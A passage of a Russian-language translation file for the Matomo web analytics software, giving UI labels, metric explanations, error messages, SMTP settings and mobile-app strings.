"ColumnExitRateDocumentation": "Процент посещений, которые закончились после просмотра данной страницы.", "ColumnExits": "Выходы из сайта", "ColumnExitsDocumentation": "Число посещений, которые закончились этой страницей.", "ColumnGenerationTime": "Время генерации", "ColumnPageGenerationTime": "Время генерации страницы", "ColumnKeyword": "Ключевое слово", "ColumnLabel": "Обозначение", "ColumnHits": "Хиты", "ColumnMaxActions": "Макс. действий за одно посещение", "ColumnNbActions": "Действия", "ColumnNbActionsDocumentation": "Количество действий, выполненных вашими пользователями. К событиям относятся просмотры страниц, загрузки и внешние ссылки.", "ColumnNbUniqVisitors": "Уникальные посетители", "ColumnNbUniqVisitorsDocumentation": "Число неповторяющихся посетителей, приходящих на ваш на ваш веб-сайт. Каждый пользователь засчитывается только один раз, даже если они посещают веб-сайт несколько раз в день.", "ColumnNbUsers": "Пользователи", "ColumnNbUsersDocumentation": "Число пользователей logged на вашем Веб-сайте. Это число уникальных пользователей для которых установлен User ID (с помощью функции Tracking-кода 'setUserId').", "ColumnNbVisits": "Посещения", "ColumnNbVisitsDocumentation": "Если посетитель приходит на ваш веб-сайт впервые, или если они посещают страницу спустя 30 минут и более с момента их последнего просмотра страницы, это будет как новое посещение.", "ColumnPageBounceRateDocumentation": "Процент посещений, которые начались на этой странице и сразу же закончились (посетитель ушел на другой сайт или закрыл вкладку).", "ColumnPageviews": "Просмотры страниц", "ColumnPageviewsDocumentation": "Количество просмотров этой страницы.", "ColumnPercentageVisits": "%% Посещений", "ColumnRevenue": "Прибыль", "ColumnSumVisitLength": "Общее время, проведенное посетителями (в секундах)", "ColumnTotalPageviews": "Всего просмотров страниц", "ColumnUniqueEntrances": "Уникальные входы", "ColumnUniqueExits": "Уникальные выходы", "ColumnUniquePageviews": "Уникальные просмотры страниц", "ColumnUniquePageviewsDocumentation": "Число посещений, которые включали также эту страницу. Если страница была просмотрена одним пользователем несколько раз, это засчитывается как одно посещение страницы.", "ColumnValuePerVisit": "Стоимость визита", "ColumnViewedAfterSearch": "Кликнули по результату в поиске", "ColumnViewedAfterSearchDocumentation": "Число раз, когда посетители посещали эту страницу после того, как они пользовались поиском на вашем сайте и кликнули по найденной странице.", "ColumnVisitDuration": "Продолжительность посещения (секунд)", "ColumnVisitsWithConversions": "Повторные посещения", "ComputedMetricAverage": "Ср. %1$s для %2$s", "ComputedMetricAverageDocumentation": "Среднее значение «%1$s» для «%2$s»", "ComputedMetricAverageShortDocumentation": "Среднее значение для «%1$s».", "ComputedMetricRate": "%s Ставка", "ComputedMetricRateDocumentation": "Соотношение «%1$s» из «%2$s».", "ComputedMetricRateShortDocumentation": "Процент «%1$s».", "ComputedMetricCountDocumentation": "Число %s", "ComputedMetricSum": "Всего %s", "ComputedMetricSumDocumentation": "Общее количество (сумма) %s", "ComputedMetricMax": "Максимум %s", "ComputedMetricMaxDocumentation": "Максимальное значение для %s", "ComputedMetricMin": "Минимум %s", "ComputedMetricMinDocumentation": "Минимальное значение для %s", "ComputedMetricUniqueCount": "Уникальных %s", "ComputedMetricUniqueCountDocumentation": "Уникальное число для %s", "ComputedMetricCountWithValue": "Вхождений %s", "ComputedMetricCountWithValueDocumentation": "Количество вхождений, для которых установлено значение %s", "ConfigFileIsNotWritable": "Файл конфигурации Matomo %1$s закрыт для записи, ваши изменения не будут сохранены. %2$s Пожалуйста, измените разрешения конфигурационного файла и разрешите запись в него.", "Continue": "Продолжить", "ContinueToPiwik": "Перейти к Matomo", "CurrentlyUsingUnsecureHttp": "Сейчас вы используете Matomo через незащищённое соединение. Это делает Matomo уязвимым к разного рода эксплойтам. Некоторые функции (напр., файлы cookies) могут не работать. Мы рекомендуем настроить Matomo с использованием защищённого соединения для большей безопасности.", "CreationDate": "Дата создания", "CreatedByUser": "сделано %s", "CurrentMonth": "Текущий месяц", "CurrentWeek": "Текущая неделя", "CurrentYear": "Текущий год", "Daily": "Ежедневно", "DailyReport": "ежедневно", "DailyReports": "Ежедневные отчеты", "DailySum": "сумма за день", "DashboardForASpecificWebsite": "Сводная статистика для отдельного сайта", "DataForThisGraphHasBeenPurged": "Данные для этого графика, которые старше чем %s месяцев и были очищены.", "DataForThisTagCloudHasBeenPurged": "Данные для этого облака тегов, которые старше чем %s месяцев и были очищены.", "Date": "Дата", "DateRange": "Диапазон дат:", "DateRangeFrom": "С", "DateRangeFromTo": "С %1$s по %2$s", "DateRangeInPeriodList": "диапазон дат:", "DateRangeTo": "До", "DaysHours": "%1$s дн. %2$s час", "DaysSinceFirstVisit": "Дней с момента первого посещения", "DaysSinceLastEcommerceOrder": "Дней с момента последнего электронного заказа.", "DaysSinceLastVisit": "Дней прошло с момента последнего посещения", "Default": "По умолчанию", "DefaultAppended": "(по умолчанию)", "Delete": "Удалить", "Description": "Описание", "Desktop": "Desktop-приложение", "Details": "Детали", "Discount": "Скидки", "DisplaySimpleTable": "Показать пример таблицы", "DisplayTableWithGoalMetrics": "Показать таблицу с метрикой целей", "DisplayTableWithMoreMetrics": "Показать таблицу с большим объемом метрики", "Documentation": "Документация", "Donate": "Пожертвовать", "Done": "Завершено", "Download": "Скачать", "DownloadFail_FileExists": "Файл %s уже существует!", "DownloadFail_FileExistsContinue": "Пытаюсь продолжить скачивание %s, но полностью скаченный файл уже существует!", "DownloadFail_HttpRequestFail": "Не удалось загрузить файл! Что-то может быть не так с сайтом откуда вы скачиваете. Вы можете попробовать попозже или получить файл самостоятельно.", "DownloadFullVersion": "%1$sСкачайте%2$s полную версию! Смотрите здесь: %3$s", "DownloadPleaseRemoveExisting": "Если вы хотите его заменить, пожалуйста, удалите существующий файл.", "Downloads": "Загрузки", "EcommerceOrders": "Заказы", "EcommerceVisitStatusDesc": "Статус посещения \"Электронной коммерции\" на конец посещения", "EcommerceVisitStatusEg": "Например, чтобы выбрать все посещения, когда был совершен электронный заказ, API-запрос будет содержать: %s", "Edit": "Редактировать", "EncryptedSmtpTransport": "Выберите тип шифрования транспортном уровне, требуемое вашим SMTP сервером.", "Error": "Ошибка", "Errors": "Ошибки", "ErrorRequest": "Ой... возникла проблема во время выполнения запроса. Возможно причиной тому временная проблема на сервере, или Вами был запрошен отчет, содержащий большой объем данных. Пожалуйста, повторите попытку. Если ошибка повторяется, пожалуйста %1$sсвяжитесь с администратором Matomo%2$s.", "EvolutionOverPeriod": "Изменения за период", "EvolutionSummaryGeneric": "%1$s в %2$s по сравнению с %3$s в %4$s. Изменения: %5$s", "ExceptionContactSupportGeneric": "Если вы продолжаете получать эту ошибку, пожалуйста, %1$sобратитесь к администратору Matomo%2$s за помощью.", "ExceptionCheckUserHasSuperUserAccessOrIsTheUser": "Пользователь должен быть либо суперпользователем, либо пользователем «%s».", "ExceptionConfigurationFileNotFound": "Конфигурационный файл {%s} не может быть найден.", "ExceptionConfigurationFileExistsButNotReadable": "Файл конфигурации %s, похоже, существует, но Matomo не смог его прочитать.", "ExceptionConfigurationFilePleaseCheckReadableByUser": "Пожалуйста, проверьте, что %1$s читается пользователем «%2$s».", "ExceptionDatabaseVersion": "Версия вашего %1$s — %2$s, но Matomo требует хотя бы %3$s.", "ExceptionDatabaseVersionNewerThanCodebase": "Исполняемые файлы Matomo устаревшей версии %1$s, а база данных Matomo уже обновлена до новой версии %2$s.", "ExceptionDatabaseVersionNewerThanCodebaseWait": "Возможно Ваш Matomo-администратор только что закончил процесс обновления. Попробуйте повторить позже.", "ExceptionFileIntegrity": "Проверка целостности не удалась: %s", "ExceptionFilesizeMismatch": "Размер файла не совпадает: %1$s (ожидался: %2$s, обнаружен: %3$s)", "ExceptionIncompatibleClientServerVersions": "Версия %1$s вашего клиента — %2$s, она не совместима с сервером версии %3$s.", "ExceptionInvalidAggregateReportsFormat": "Определение формата отчётов «%1$s» неверно. Попробуйте любое из следующих действий: %2$s.", "ExceptionInvalidArchiveTimeToLive": "Время архивирования (в секундах) должно быть больше нуля", "ExceptionInvalidDateFormat": "Формат даты должен быть: %1$s или любое другое ключевое слово, поддерживаемое функцией %2$s (см. %3$s, чтобы узнать больше)", "ExceptionInvalidDateBeforeFirstWebsite": "Дата «%1$s» — это дата до того, как первый сайт был в сети. Попробуйте дату после %2$s (отметка времени %3$s).", "ExceptionInvalidDateRange": "Дата «%1$s» не входит в корректный промежуток. Она должна быть следующего формата: %2$s.", "ExceptionInvalidPeriod": "Период «%1$s» не поддерживается. Попробуйте вместо него другой из доступных: %2$s", "ExceptionInvalidRendererFormat": "Формат рендерера «%1$s» неверен. Попробуйте вместо него другой из доступных: %2$s.", "ExceptionInvalidReportRendererFormat": "Формат отчёта «%1$s» неверен. Попробуйте вместо него другой из доступных: %2$s.", "ExceptionInvalidStaticGraphType": "Тип статичного графика «%1$s» неверен. Попробуйте любое из следующих действий: %2$s.", "ExceptionInvalidToken": "Токен неверен.", "ExceptionLanguageFileNotFound": "Файл языка «%s» не найден.", "ExceptionMethodNotFound": "Метод «%1$s» не существует или недоступен в модуле «%2$s».", "ExceptionMissingFile": "Отсутствует файл: %s", "ExceptionUnexpectedFile": "В вашем Matomo были найдены файлы, но мы не ожидали их.", "ExceptionUnexpectedFilePleaseDelete": "Пожалуйста, удалите эти файлы, чтобы избежать ошибок.", "ExceptionUnexpectedDirectory": "В вашем Matomo были найдены директории, но мы не ожидали их.", "ExceptionUnexpectedDirectoryPleaseDelete": "Пожалуйста, удалите эти директории, чтобы избежать ошибок.", "ExceptionFileToDelete": "Файл для удаления: %s", "ExceptionDirectoryToDelete": "Директория для удаления: %s", "ExceptionNonceMismatch": "Не могу проверить элемент безопасности для этой формы.", "ExceptionPrivilege": "Вы не можете получить доступ к этому ресурсу, так как он требует прав %s.", "ExceptionPrivilegeAccessWebsite": "Вы не можете получить доступ к этому ресурсу, так как он требует прав %s к сайту id = %d.", "ExceptionCapabilityAccessWebsite": "Вы не можете получить доступ к этому ресурсу, так как он требует прав %s для сайта id = %d.", "ExceptionPrivilegeAtLeastOneWebsite": "Вы не можете получить доступ к этому ресурсу, так как он требует прав %s по крайней мере для одного веб-сайта.", "ExceptionUnableToStartSession": "Не удалось запустить сессию.", "ExceptionUndeletableFile": "Невозможно удалить %s", "ExceptionUnreadableFileDisabledMethod": "Конфигурационный файл {%1$s} не может быть прочтен. Возможно, на вашем хосте отключен %2$s.", "ExceptionReportNotFound": "Запрашиваемый отчёт не существует.", "ExceptionWidgetNotFound": "Запрашиваемый виджет не существует.", "ExceptionReportNotEnabled": "Запрошенный отчёт не включен. Это означает, как правило, что либо выключен плагин, который определяет этот отчёт, либо нет прав доступа к этому отчёту.", "ExceptionWidgetNotEnabled": "Запрошенный виджет не включен. Как правило это означает либо плагин, который определяет виджет деактивирован, либо вы не имеете достаточно прав доступа к этому виджет.", "ExpandDataTableFooter": "Изменить визуализацию или настроить отчёт", "Export": "Экспорт", "ExportAsImage": "Экспортировать как изображение", "ExportThisReport": "Экспортировать в другие форматы", "Faq": "FAQ", "FileIntegrityWarning": "Проверка целостности файлов завершилась неудачей и возвратила ошибки. Вам следует исправлять проблему и обновлять страницу до тех пор, пока она не отобразится без ошибок.", "FileIntegrityWarningReupload": "Ошибки ниже могут быть обусловлены частичной или неудавшейся загрузкой файлов Matomo.", "FileIntegrityWarningReuploadBis": "Попробуйте заново загрузить все файлы Matomo в режиме BINARY.", "First": "Первый", "Flatten": "Сгладить", "ForcedSSL": "Принудительное SSL-соединение", "ForceSSLRecommended": "Мы рекомендуем использовать Matomo только через безопасные SSL-соединения. Чтобы предотвратить небезопасный доступ через http, добавьте %1$s в разделе %2$s в вашем Matomo файле config\/config.ini.php.", "NotPossibleWithoutHttps": "Внимание: выполнение этого без настройки SSL-сертификата для использования HTTPS приведет к поломке Matomo.", "UseSSLInstall": "Мы рекомендуем использовать Matomo только через безопасные SSL-соединения. Пожалуйста, %1$sнажмите здесь, чтобы продолжить процесс установки через SSL%2$s.", "ForExampleShort": "напр.,", "Forums": "Форумы", "FromReferrer": "источник", "Generic": "Общий", "GeneralInformation": "Общая информация", "GeneralSettings": "Общие настройки", "GetStarted": "Приступить", "GiveUsYourFeedback": "Оставьте нам отзыв!", "Goal": "Цель", "GoTo": "Перейти к %s", "GoTo2": "Перейти", "GraphHelp": "Больше информации про отображение графиков в Matomo.", "HelloUser": "Привет, %s!", "Help": "Помощь", "HelpResources": "Справочные ресурсы", "HelpTranslatePiwik": "Возможно, вы захотите %1$sпомочь нам улучшить переводы в Matomo%2$s?", "Hide": "скрыть", "HoursMinutes": "%1$s час %2$s мин", "Id": "Id", "IfArchivingIsFastYouCanSetupCronRunMoreOften": "Предполагая, что архивирование выполняется быстро, вы можете настроить crontab для более частой работы.", "InfoFor": "Информация для %s", "Installed": "Установлено", "InvalidDateRange": "Неверный период, пожалуйста, попробуйте снова", "InvalidResponse": "Полученные данные некорректны.", "IP": "IP", "JsTrackingTag": "JavaScript Tracking-код", "KpiMetric": "KPI Метрика", "Language": "Язык", "Languages": "Языки", "LastDays": "Прошедшие %s дни (включая сегодня)", "LastDaysShort": "%s последних дней", "LearnMore": "%1$s узнайте больше %2$s", "Live": "Прямой эфир", "Loading": "Загрузка...", "LoadingData": "Загрузка данных...", "LoadingPopover": "Загрузка %s...", "LoadingPopoverFor": "Загрузка %s для", "Locale": "ru_RU.UTF-8", "Logout": "Выйти", "MainMetrics": "Основные показатели", "Matches": "Совпадений", "MediumToHighTrafficItIsRecommendedTo": "Для сайтов со средней или высокой нагрузкой мы рекомендуем формировать отчеты за сегодняшний день каждые полчаса (%1$s сек) или каждый час (%2$s сек).", "Metadata": "Метаданные", "Metric": "Показатель", "Metrics": "Показатели", "MetricsToPlot": "Метрики для построения графика", "MetricToPlot": "Метрика для построения графика", "MinutesSeconds": "%1$s мин %2$s сек", "Mobile": "Мобильное приложение", "Monthly": "Ежемесячно", "MonthlyReport": "ежемесячно", "MonthlyReports": "Ежемесячные отчеты", "More": "Ещё", "MoreDetails": "Детализация", "MoreLowerCase": "ещё", "MultiSitesSummary": "Все проекты", "Name": "Имя", "NbActions": "Количество действий", "NbInteractions": "Количество взаимодействий", "NbSearches": "Количество обращений к внутреннему поиску", "NeedMoreHelp": "Нужна помощь?", "Never": "Никогда", "New": "Новое", "NewReportsWillBeProcessedByCron": "Если архивирование Matomo не провоцируется браузером, новые отчеты производятся с помощью crontab-задач.", "NewUpdatePiwikX": "Новое обновление: Matomo %s", "NewVisitor": "Новый посетитель", "NewVisits": "Новые посещения", "Next": "Далее", "No": "Нет", "NoDataForGraph": "Нет данных для построения графика.", "NoDataForTagCloud": "Нет данных по этим тегам", "NotDefined": "%s не определено", "Note": "Заметка", "NotInstalled": "Не установлено", "NotRecommended": "не рекомендуется", "NotValid": "%s неверный", "NumberOfVisits": "Количество посещений", "NUsers": "%s пользователей", "NVisits": "%s посещений", "NUniqueVisitors": "%s уникальных посетителей", "Ok": "ОК", "OneAction": "1 действие", "OneVisit": "1 посещение", "OnlyEnterIfRequired": "Введите имя пользователя, если ваш SMTP сервер требует этого.", "OnlyEnterIfRequiredPassword": "Введите пароль, если ваш SMTP сервер требует этого.", "SmtpFromEmailHelp": "По умолчанию noreply@{DOMAIN}, где {DOMAIN} будет заменено на значение вашего домена Matomo.%1$s<br> Если отправка писем не работает, вам может понадобиться установить этот адрес, совпадающий с вашим пользователем SMTP.", "NameShownInTheSenderColumn": "Имя, отображаемое в поле отправителя", "OnlyUsedIfUserPwdIsSet": "Используется если имя пользователя\/пароль заданы, спросите у своего провайдера, если не уверены в выборе метода.", "OpenSourceWebAnalytics": "открытая\/свободная аналитическая платформа", "OperationAtLeast": "Не менее", "OperationAtMost": "Не более", "OperationContains": "Содержит", "OperationDoesNotContain": "Не содержит", "OperationEquals": "равно", "OperationGreaterThan": "Больше чем", "OperationIs": "Есть", "OperationIsNot": "Не", "OperationLessThan": "Меньше чем", "OperationNotEquals": "Не равно", "OperationStartsWith": "Начинается с", "OperationEndsWith": "Заканчивается с", "OptionalSmtpPort": "Необязательно. По умолчанию используется 25 для незашифрованного и TLS SMTP соединения, и 465 для SSL SMTP.", "Options": "Настройки", "Or": "или", "OrCancel": "или %1$s отмените %2$s", "Others": "Другие", "Outlink": "Исходящая ссылка", "Outlinks": "Исходящие ссылки", "OverlayRowActionTooltip": "Смотреть аналитику прямо на вашем сайте (откроется в новом окне)", "OverlayRowActionTooltipTitle": "Открыть страницу с наложением", "Overview": "Обзор", "Pages": "Страницы", "Pagination": "%1$s–%2$s из %3$s", "PaginationWithoutTotal": "%1$s–%2$s", "ParameterMustIntegerBetween": "Параметр %1$s должен быть целым числом между %2$s и %3$s.", "Password": "Пароль", "Period": "Период", "Piechart": "Круговая диаграмма", "Print": "Печать", "Profiles": "Профили", "MatomoIsACollaborativeProjectYouCanContributeAndDonateNextRelease": "%1$sMatomo%2$s, ранее известный как Piwik — это совместный проект, предложенный вам членами %7$sкоманды Matomo%8$s, а также многими другими участниками по всему миру. <br\/> Если вы поклонник Matomo, вы можете помочь: узнать, %3$sкак принять участие в Matomo%4$s, или %5$sпожертвовать сейчас%6$s, чтобы помочь финансировать следующий замечательный релиз Matomo!", "PiwikXIsAvailablePleaseNotifyPiwikAdmin": "Доступен %1$s. Пожалуйста, сообщите %2$sадминистратору Matomo%3$s.", "PiwikXIsAvailablePleaseUpdateNow": "Matomo %1$s доступен для скачивания. %2$s Пожалуйста, обновитесь!%3$s (см. %4$s изменения%5$s).", "PleaseContactYourPiwikAdministrator": "Пожалуйста, обратитесь к администратору Matomo.", "PleaseSpecifyValue": "Пожалуйста, определите значение для «%s».", "PleaseUpdatePiwik": "Пожалуйста, обновите Matomo", "Plugin": "Плагин", "Plugins": "Плагины", "PoweredBy": "Powered by", "Previous": "Назад", "PreviousDays": "Прошедшие %s дни (не включая сегодня)", "PreviousDaysShort": "%s предыдущих дней", "Price": "Цена", "ProductConversionRate": "Конверсия для товара", "ProductRevenue": "Прибыль с товара", "Measurable": "Единица измерения", "Measurables": "Единицы измерения", "MeasurableId": "ID единицы измерения", "PurchasedProducts": "Купленные товары", "Quantity": "Количество", "RangeReports": "Другие периоды", "ReadThisToLearnMore": "%1$sПрочтите это, чтобы узнать больше.%2$s", "Recommended": "Рекомендуется", "RecordsToPlot": "Записи для построения графика", "Refresh": "Обновить", "RefreshPage": "Обновить страницу", "RelatedReport": "Связанный отчет", "RelatedReports": "Связанные отчеты", "Remove": "Удалить", "Report": "Отчёт", "ReportGeneratedFrom": "Этот отчет был сформирован с использованием данных: %s.", "Reports": "Отчёты", "ReportsContainingTodayWillBeProcessedAtMostEvery": "Архив отчётов на каждые Х секунд", "RearchiveTimeIntervalOnlyForTodayReports": "Это влияет только на отчёты (или другие диапазоны дат, включая сегодня)", "ReportsWillBeProcessedAtMostEveryHour": "Следовательно, отчёты обрабатываются каждый час.", "RequestTimedOut": "Время ожидания запроса к %s истекло. Пожалуйста, попробуйте снова.", "Required": "%s необходимо", "Required2": "Необходимо", "ReturningVisitor": "Вернувшийся посетитель", "ReturningVisitorAllVisits": "Посмотреть все визиты", "RowEvolutionRowActionTooltip": "Посмотрите, как показатели для этой строки менялись с течением времени", "RowEvolutionRowActionTooltipTitle": "Открыть динамику по этой строке", "Rows": "Строки", "RowsToDisplay": "Строки для отображения", "Save": "Сохранить", "SaveImageOnYourComputer": "Чтобы сохранить изображение на компьютере, нажмите правой кнопкой на нём и выберите «Сохранить изображение как...»", "Search": "Поиск", "Clear": "Очистить", "SearchNoResults": "Нет результатов", "Security": "Безопасность", "SeeAll": "просмотреть всё", "SeeTheOfficialDocumentationForMoreInformation": "Смотрите %1$sофициальную документацию%2$s чтобы узнать больше.", "SeeThisFaq": "Посмотрите %1$sэти частые вопросы%2$s.", "Segment": "Сегмент", "SelectYesIfYouWantToSendEmailsViaServer": "Выберите «Да», если вы хотите отсылать e-mail письма через определённый сервер, вместо использования локальной mail функции.", "Settings": "Настройки", "Shipping": "Доставка", "Show": "показать", "SingleWebsitesDashboard": "Статистика по сайту", "SmallTrafficYouCanLeaveDefault": "Для сайтов с небольшой нагрузкой вы можете оставить %s сек. по умолчанию, и просматривать отчёты в реальном времени.", "SmtpEncryption": "Шифрование SMTP", "SmtpPassword": "Пароль SMTP", "SmtpPort": "Порт SMTP", "SmtpServerAddress": "Адрес SMTP-сервера", "SmtpUsername": "Имя пользователя SMTP", "Source": "Источник", "StatisticsAreNotRecorded": "Отслеживание посетителей Matomo в настоящее время отключено! Вы можете повторно включить отслеживание установив record_statistics = 1 в файле config\/config.ini.php.", "Subtotal": "Сумма", "Summary": "Сводный отчёт", "Table": "Таблица", "TagCloud": "Теги", "Tax": "Налог (комиссия)", "TimeAgo": "%s назад", "TimeFormat": "Формат времени", "TimeOnPage": "Время, проведённое на странице", "ToDeleteAllDirectoriesRunThisCommand": "Чтобы удалить все директории сразу, вы можете запустить эту команду:", "ToDeleteAllFilesRunThisCommand": "Чтобы удалить все файлы сразу, вы можете запустить эту команду:", "Total": "Всего", "Totals": "Всего", "TotalRatioTooltip": "Это %1$s из всех %2$s %3$s в %4$s.", "TotalRevenue": "Общая прибыль", "TotalVisitsPageviewsActionsRevenue": "(Всего: %1$s визиты, %2$s просмотры страниц, %3$s действия, %4$s выручка)", "TrackingScopeAction": "Действие", "TrackingScopePage": "Страница", "TrackingScopeVisit": "Посещение", "TransitionsRowActionTooltip": "Посмотрите, что посетители делали до и после просмотра этой страницы", "TransitionsRowActionTooltipTitle": "Открыть переходы", "TranslatorName": "Ademaro, Joker Interactive, Важенин Илья (компания Codax), Nelde Maxim, Andrey, Vadim Nekhai, UptimePal", "UniquePurchases": "Уникальные покупки", "Unknown": "Неизвестно", "Upload": "Закачать", "UsePlusMinusIconsDocumentation": "Используйте иконки плюс и минус слева для навигации", "UserId": "ID пользователя", "UserIds": "ID пользователя", "Username": "Имя пользователя", "UseSMTPServerForEmail": "Использовать SMTP сервер для e-mail", "Value": "Значение", "VBarGraph": "Столбчатая диаграмма", "View": "Смотреть", "ViewDocumentationFor": "Смотреть документацию для %1$s", "Visit": "Посещение", "VisitId": "ID посещения", "VisitConvertedGoal": "Посещение, сконвертированное как минимум одной целью", "VisitConvertedGoalId": "Посещение, которое сконвертировало определенную цель", "VisitConvertedNGoals": "Посещение сконвертировало %s целей", "VisitDuration": "Примерная продолжительность посещения (секунд)", "Visitor": "Посетитель", "VisitorID": "ID посетителя", "VisitorIP": "IP посетителя", "VisitorIPs": "IPы посетителя", "Visitors": "Посетители", "VisitsWith": "Посещения с %s", "VisitorFingerprint": "Отпечаток пальца", "VisitorSettings": "Настройки посетителей", "VisitType": "Тип посещения", "VisitTypes": "Типы посещений", "VisitTypeExample": "Например, чтобы выбрать всех посетителей, которые вернулисть на сайт, включая тех, кто уже купил что-то в свои предыдущие визиты, API-запрос будет содержать: %s", "Warning": "Предупреждение", "Warnings": "Предупреждения", "WarningPhpVersionXIsTooOld": "Версия PHP %s, которую вы используете, завершила свой жизненый цикл (EOL). Настоятельно рекомендуем обновиться до текущей версии, т. к. использование устаревшей версии подвергает вас уязвимостям в безопасности и ошибкам, которые устранены в более свежей версии PHP.", "WarningPiwikWillStopSupportingPHPVersion": "Matomo прекратит поддержку PHP %1$s в следующей версии. Обновите ваш PHP, по крайней мере, до версии PHP %2$s !", "YouMustUpgradePhpVersionToReceiveLatestPiwik": "Вы должны обновить версию PHP, чтобы получить последнее обновление Matomo.", "PiwikCannotBeUpgradedBecausePhpIsTooOld": "Matomo не может быть обновлён до последней основной версии, потому что ваша версия PHP является слишком старой.", "PleaseUpgradeYourPhpVersionSoYourPiwikDataStaysSecure": "Пожалуйста, обновите версию PHP, по крайней мере до PHP %s, что бы Matomo оставался безопасным.", "ValidatorErrorEmptyValue": "Значение должно быть предоставлено.", "ValidatorErrorNotANumber": "Значение не является числом.", "ValidatorErrorNumberTooLow": "Значение «%1$s» слишком мало. Это значение должно быть не меньше %2$s.", "ValidatorErrorNumberTooHigh": "Значение «%1$s» слишком велико. Это значение должно быть не больше %2$s.", "ValidatorErrorCharacterTooShort": "Значение содержит символы «%1$s», но должно содержать как минимум символы %2$s.", "ValidatorErrorCharacterTooLong": "Значение содержит «%1$s» символов, но должно содержать не более %2$s символов.", "ValidatorErrorNotUrlLike": "Значение «%s» не похоже на URL.", "ValidatorErrorNotEmailLike": "Значение «%s» не похоже на email.", "ValidatorErrorNoValidRegex": "Значение «%s» не похоже на регулярное выражение.", "ValidatorErrorXNotWhitelisted": "Значение «%1$s» не допускается, используйте одно из: %2$s.", "ValidatorErrorInvalidDateTimeFormat": "Дата «%1$s» неправильного формата, пожалуйста, используйте %2$s", "WarningFileIntegrityNoManifest": "Проверка целостности не может быть проведена из-за отсутствия manifest.inc.php.", "WarningFileIntegrityNoManifestDeployingFromGit": "Если вы делаете деплой Matomo из Git, это сообщение является нормальным.", "WarningFileIntegrityNoMd5file": "Проверка целостности не может быть проведена из-за отсутствия функции md5_file().", "WarningPasswordStored": "%1$sВнимание:%2$s Этот пароль будет сохранен в конфигурационном файле на сервере в незашифрованном виде, и будет виден любому, кто имеет доступ к файловой системе сервера.", "WarningDebugOnDemandEnabled": "Режим слежения за %1$s включен. Из соображений безопасности он должен быть включен только в небольшой период времени. Чтобы отключить его, установите %2$s на %3$s в %4$s", "Website": "Сайт", "Weekly": "Еженедельно", "WeeklyReport": "еженедельно", "WeeklyReports": "Еженедельные отчеты", "WellDone": "Отлично!", "Widgets": "Виджеты", "Widget": "Виджет", "XComparedToY": "%1$s в сравнении с %2$s", "XFromY": "%1$s – %2$s", "YearlyReport": "ежегодно", "YearlyReports": "Ежегодные отчеты", "YearsDays": "%1$s г. %2$s дн.", "Yes": "Да", "YouAreCurrentlyUsing": "Вы используете версию Matomo %s.", "YouAreViewingDemoMessage": "Вы просматриваете демо %1$sMatomo%2$s", "YouMustBeLoggedIn": "Вы должны зайти на сайт, чтобы получить доступ к этому функционалу.", "YourChangesHaveBeenSaved": "Изменения сохранены.", "YourSessionHasExpired": "Ваша сессия истекла в связи с неактивностью. Пожалуйста войдите, чтобы продолжить.", "ThankYouForUsingMatomo": "Спасибо за использование Matomo", "TheMatomoTeam": "Команда Matomo", "PleaseTryAgain": "Пожалуйста, попробуйте еще раз", "VisualizationDoesNotSupportComparison": "Эта визуализация не поддерживает сравнение сегментов \/ периодов.", "ChangeInX": "Изменения в %1$s", "Comparisons": "Сравнение", "ClickToRemoveComp": "Нажмите, чтобы удалить это сравнение.", "MaximumNumberOfSegmentsComparedIs": "Максимальное количество сегментов, которые можно сравнивать одновременно, равно%s.", "MaximumNumberOfPeriodsComparedIs": "Максимальне количество периодов, которые можно сравнить одновременно: %s." }, "Mobile": { "AboutPiwikMobile": "О Matomo Mobile", "AccessUrlLabel": "URL для доступа", "Account": "Учетная запись", "Accounts": "Аккаунты", "AddAccount": "Добавить аккаунт", "AddPiwikDemo": "Добавить демо Matomo", "Advanced": "Расширенные", "AnonymousAccess": "Анонимный доступ", "AnonymousTracking": "Анонимное отслеживание", "AskForAnonymousTrackingPermission": "При включении Matomo Mobile будет отправлять анонимные данные на matomo.org. Отправляемые данные помогают разработчикам Matomo Mobile лучше понять, как Вы используете приложение. Отправляемая информация: клики по меню и настройкам, название и версия ОС, ошибки, которые возникают в Matomo Mobile. Мы НЕ отслеживаем ваши данные аналитики. Эти анонимные данные никогда не станут доступными для кого-то ещё. Вы можете отключить\/включить анонимное слежение в Настройках в любое время.", "ChooseHttpTimeout": "Выберите значение тайм-аута HTTP", "ChooseMetric": "Выберите показатель", "ChooseReport": "Выберите отчёт", "ChooseSegment": "Выберите сегмент", "ConfirmRemoveAccount": "Вы хотите удалить этот акаунт?", "DefaultReportDate": "Дата отчёта", "EmailUs": "Отправьте нам email", "EnableGraphsLabel": "Отображать графики", "EvolutionGraph": "Исторический график", "HelpUsToImprovePiwikMobile": "Вы хотите включить анонимное отслеживание использования в Matomo Mobile?", "HowtoDeleteAnAccount": "Нажмите и удерживайте для удаления аккаунта.", "HowtoDeleteAnAccountOniOS": "Проведите справа налево, чтобы удалить учётную запись.", "HowtoLoginAnonymous": "Оставьте имя пользователя и пароль пустым для анонимного входа", "HttpIsNotSecureWarning": "Ваш токен авторизации в Matomo (token_auth) отправляется в незащищенном виде, если Вы используете \"HTTP\". Поэтому мы рекомендуем HTTPS для безопасности передачи информации по интернету. Желаете продолжить?", "HttpTimeout": "Тайм-аут HTTP", "IncompatiblePiwikVersion": "Используемая версия Matomo несовместима с Matomo Mobile 2. Обновите Matomo и попробуйте снова или установите Matomo Mobile 1.", "LastUpdated": "Последнее обновление: %s", "LoadingReport": "Загрузка %s", "LoginCredentials": "Полномочия", "LoginToPiwikToChangeSettings": "Войдите на сервер Matomo для создания и изменения веб-сайтов, пользователей или изменения общих параметров, таких как «Отчёт по умолчанию».", "LoginUseHttps": "Использовать https", "MatomoMobile": "Мобильное приложение Matomo", "MultiChartLabel": "Отображать спарклайны", "NavigationBack": "Назад", "NetworkError": "Ошибка сети", "NetworkErrorWithStatusCode": "Произошла ошибка «%1$s». Запрос вернул статус: «%2$s». URL был: «%3$s». Пожалуйста, проверьте введенный URL и лог ошибок на сервере для более детальной информации по ошибке и способам её решения.", "NetworkErrorWithStatusCodeShort": "Ошибка сети %s", "NetworkNotReachable": "Сеть недоступна", "NoAccountIsSelected": "Вы должны выбрать учетную запись. Добавьте новую учетную запись, если вы этого еще не сделали.", "NoDataShort": "Нет данных", "NoPiwikAccount": "Нет аккаунта Matomo?", "NoReportsShort": "Нет отчетов", "NoVisitorFound": "Посетителей не найдено", "NoVisitorsShort": "Нет посетителей", "NoWebsiteFound": "Сайт не найден", "NoWebsitesShort": "Нет сайтов", "PullDownToRefresh": "Потяните вниз, чтобы обновить...", "PossibleSslError": "Возможно ошибка SSL-сертификата", "PossibleSslErrorExplanation": "Произошла ошибка, которая может быть вызвана 